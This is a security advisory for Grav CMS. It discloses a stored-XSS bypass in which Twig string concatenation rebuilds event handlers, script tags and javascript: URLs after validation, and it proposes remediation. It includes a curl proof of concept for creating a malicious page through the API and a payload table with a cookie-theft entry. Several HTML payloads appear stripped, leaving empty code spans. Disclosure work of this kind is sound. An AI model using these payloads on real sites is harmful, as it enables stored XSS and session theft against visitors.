GHSA-2c4f-86xc-cr74 Grav: XSS Blueprint Validation Bypass via Twig String Concatenation

• Packagist getgrav/grav: >= 2.0.0, < 2.0.1 → fixed in 2.0.1

Summary The XSS blueprint validator (`Security::detectXss()`) runs on the raw page content before Twig processing. An attacker can use Twig's string concatenation operator (`~`) to dynamically construct an event handler name at render time. The validator sees `{{ "on" ~ "error" }}` - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains `` which is rendered via `{{ content|raw }}` and executes in the victim's browser. --- Details The two-stage attack exploits the separation between validation and rendering: Stage 1 - what the XSS validator sees (raw page content): ```twig {% set x = "on" ~ "error" %} ``` The `detectXss()` function scans this string. The `on_events` regex looks for `]*?\s\x00-\x20\"\'\/\s*=` inside HTML tags. In `{{ x }}`, the `{` character is not in the boundary set `[\s\x00-\x20\"\'\/]`, and `x` is not `on`. No match - passes validation. Stage 2 - what Twig produces (after rendering): ```html ``` The validator never re-inspects Twig output. The theme template renders this via `{{ page.content|raw }}` (confirmed in `quark2/templates/default.html.twig:5`), so no auto-escaping occurs. Why `{% set %}` and `~` are allowed - `system/config/security.yaml:125-145`: ```yaml allowed_tags: • set # ← allows variable assignment ... ``` The `~` operator is a core Twig operator for string concatenation (like `.` in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox. The same technique bypasses the `dangerous_tags` blocklist - any blocked tag name can be reconstructed: ```twig alert(1) {# XSS validator sees: - no tag detected Twig output: alert(1) #} ``` Also bypasses the `invalid_protocols` check: ```twig click {# Validator sees: href="{{...}}" - no "javascript:" protocol detected #} ``` --- Proof of Concept Prerequisites 1. `twig_content.process_enabled: true` set by admin 2. `api.pages.write` permission (page creation) Step 1 - Obtain JWT token (any user with page write access) ```bash JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \ -X POST -H "Content-Type: application/json" \ -d '{"username":"user","password":"pass"}' \ | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])") ``` Step 2 - Create page with Twig XSS payload ```bash curl -s http://127.0.0.1/grav/api/v1/pages -X POST \ -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \ -d '{ "title": "xss-page", "folder": "xss-page", "route": "/xss-page", "template": "default", "header": {"title": "xss", "process": {"markdown": false}}, "content": "{% set x = \"on\" ~ \"error\" %}" }' ``` Result: `201 Created` - XSS validator passes because it sees `{{ x }}`, not `onerror`. Step 3 - Visit page → XSS fires ```bash curl -s http://127.0.0.1/grav/xss-page | grep -oP ']*>' Output: ``` Open in browser: `http://127.0.0.1/grav/xss-page` - `alert(document.domain)` fires. From a low-level user Also From a low-level user normal script such as `` this is being blocked by the restriction. But with payloads such as click proves that the we can bypass the blueprint restrictions and upload malicious script to it Alternative payloads (all bypass the validator) | Payload | Twig Source | After Twig | Triggers | |---------|------------|------------|----------| | Event handler | `` | `` | Image load fails | | Script tag | `alert(1)` | `alert(1)` | Immediately | | Protocol bypass | `click` | `click` | On click | | Iframe onload | `` | `` | Page load | | Details toggle | `` | `` | Page load | | Cookie theft | `` | `` | Image load fails | Admin preview caveat The Admin2 SPA renders page previews inside a sandboxed iframe: ```html ``` `allow-modals` is not set - `alert()` is silenced in the admin preview. Use `fetch()`, `document.write()`, or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - `alert()` fires directly. --- Impact Once the Twig content master gate is enabled by an administrator, any user with page write access can inject stored XSS into page content that executes for all visitors. The attack: • Bypasses all four XSS validator regexes (`on_events`, `invalid_protocols`, `dangerous_tags`, `html_inline_styles`) • Bypasses the dangerous tag blocklist (reconstructs ``, ``, ``, etc.) • Bypasses the invalid protocol blocklist (reconstructs `javascript:`, `data:`) • Persists across page edits (stored in page content file) • Executes for every visitor to the page An attacker can steal session cookies, perform actions as the victim, or deface the site. --- Remediation Option A - Re-run the XSS validator on Twig output After `Twig::processPage()` renders the content, run the XSS validator on the output before it is cached and served: ```php // In Twig::processPage(), after rendering $rendered = $twig->render($name, $context); $result = Security::detectXss($rendered); if ($result !== null) { // Log and sanitize or block Security::logTwigSandboxViolation('xss_output', $result, '', $route); return ''; // or return escaped version } ``` Option B - Disallow `~` and `{% set %}` in sandboxed content (too restrictive) Removing string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs). Option C - Block dynamic attribute names in Twig output Parse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive. Option D - Escape HTML in rendered Twig output Wrap the rendered output with `htmlspecialchars()` unless explicitly marked safe. This is the Twig default behavior — the `|raw` filter in theme templates bypasses it. Consider removing `|raw` from default themes and requiring explicit `|raw` only for trusted content.